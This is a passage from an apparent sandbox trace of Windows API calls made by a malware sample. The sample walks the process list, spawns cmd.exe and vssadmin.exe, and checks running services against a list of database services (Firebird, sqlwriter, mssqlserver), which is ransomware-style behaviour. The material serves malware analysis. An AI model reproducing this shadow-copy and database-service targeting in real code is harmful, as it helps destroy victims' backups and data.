th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.997] lstrlenW (lpString="svchost.exe") returned 11 [0205.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0205.997] lstrlenW (lpString="taskeng.exe") returned 11 [0205.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.998] lstrlenW (lpString="taskhost.exe") returned 12 [0205.998] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0205.999] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0205.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0205.999] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0205.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0206.000] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0206.000] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0206.001] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0206.001] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0206.001] lstrlenW (lpString="always_winds.exe") returned 16 [0206.001] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0206.002] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0206.002] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0206.003] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0206.003] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0206.256] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0206.256] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0206.624] lstrlenW (lpString="alienwed.exe") returned 12 [0206.624] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0206.625] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0206.625] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0206.625] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0206.626] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0206.626] lstrlenW (lpString="mp beginners.exe") returned 16 [0206.626] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0206.627] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0206.627] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0206.628] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0206.628] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0206.630] lstrlenW (lpString="harassment.exe") returned 14 [0206.630] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0206.631] lstrlenW (lpString="francis-communication.exe") returned 25 [0206.631] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0206.632] lstrlenW (lpString="gccinformational.exe") returned 20 [0206.633] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0206.634] lstrlenW (lpString="diploma.exe") returned 11 [0206.634] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0206.635] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0206.635] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.637] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0206.637] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.638] lstrlenW (lpString="svchost.exe") returned 11 [0206.638] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0206.640] lstrlenW (lpString="sppsvc.exe") returned 10 [0206.640] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.642] lstrlenW (lpString="svchost.exe") returned 11 [0206.642] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0206.643] lstrlenW (lpString="qnuriy.exe") returned 10 [0206.643] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.645] lstrlenW (lpString="cmd.exe") returned 7 [0206.645] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.646] lstrlenW (lpString="conhost.exe") returned 11 [0206.646] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0206.648] lstrlenW (lpString="vssadmin.exe") returned 12 [0206.648] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0206.649] CloseHandle (hObject=0x1b0) returned 1 [0206.649] Sleep (dwMilliseconds=0x1f4) [0207.358] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570010 [0207.358] EnumServicesStatusExW (in: hSCManager=0x570010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0207.358] GetLastError () returned 0xea [0207.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3f06078 [0207.358] EnumServicesStatusExW (in: hSCManager=0x570010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0207.359] CloseServiceHandle (hSCObject=0x570010) returned 1 [0207.359] lstrlenW (lpString="Appinfo") returned 7 [0207.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0207.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0207.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0207.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0207.360] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0207.360] lstrlenW (lpString="AudioSrv") returned 8 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0207.360] lstrlenW (lpString="BFE") returned 3 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0207.360] lstrlenW (lpString="CryptSvc") returned 8 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0207.360] lstrlenW (lpString="CscService") returned 10 [0207.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0207.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0207.361] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0207.361] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0207.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0207.361] lstrlenW (lpString="DcomLaunch") returned 10 [0207.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0207.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0207.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0207.361] lstrlenW (lpString="Dhcp") returned 4 [0207.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0207.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0207.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0207.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0207.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0207.361] lstrlenW (lpString="Dnscache") returned 8 [0207.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0207.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0207.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0207.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0207.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0207.361] lstrlenW (lpString="DPS") returned 3 [0207.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0207.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0207.362] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0207.362] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0207.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0207.362] lstrlenW (lpString="eventlog") returned 8 [0207.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0207.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0207.362] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0207.362] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0207.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0207.362] lstrlenW (lpString="EventSystem") returned 11 [0207.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0207.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0207.362] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0207.362] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0207.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0207.362] lstrlenW (lpString="FontCache") returned 9 [0207.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0207.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0207.362] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0207.362] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0207.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0207.363] lstrlenW (lpString="gpsvc") returned 5 [0207.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0207.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0207.363] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0207.363] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0207.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0207.363] lstrlenW (lpString="iphlpsvc") returned 8 [0207.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0207.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0207.363] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0207.363] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0207.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0207.363] lstrlenW (lpString="LanmanServer") returned 12 [0207.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0207.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0207.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0207.363] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0207.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0207.363] lstrlenW (lpString="LanmanWorkstation") returned 17 [0207.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0207.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0207.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0207.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0207.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0207.364] lstrlenW (lpString="lmhosts") returned 7 [0207.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0207.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0207.364] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0207.364] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0207.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0207.364] lstrlenW (lpString="MMCSS") returned 5 [0207.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0207.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0207.364] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0207.364] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0207.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0207.364] lstrlenW (lpString="MpsSvc") returned 6 [0207.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0207.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0207.364] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0207.364] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0207.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0207.364] lstrlenW (lpString="Netman") returned 6 [0207.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0207.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0207.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0207.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0207.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0207.365] lstrlenW (lpString="netprofm") returned 8 [0207.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0207.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0207.365] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0207.365] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0207.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0207.365] lstrlenW (lpString="NlaSvc") returned 6 [0207.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0207.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0207.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0207.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0207.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0207.365] lstrlenW (lpString="nsi") returned 3 [0207.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0207.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0207.365] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0207.365] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0207.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0207.365] lstrlenW (lpString="PcaSvc") returned 6 [0207.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0207.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0207.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0207.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0207.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0207.366] lstrlenW (lpString="PlugPlay") returned 8 [0207.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0207.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0207.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0207.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0207.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0207.366] lstrlenW (lpString="Power") returned 5 [0207.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0207.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0207.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0207.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0207.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0207.366] lstrlenW (lpString="ProfSvc") returned 7 [0207.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0207.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0207.366] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0207.366] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0207.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0207.366] lstrlenW (lpString="RpcEptMapper") returned 12 [0207.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.366] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0207.366] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0207.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0207.367] lstrlenW (lpString="RpcSs") returned 5 [0207.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0207.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0207.367] lstrcmpiW (lpString1="sqlwriter", 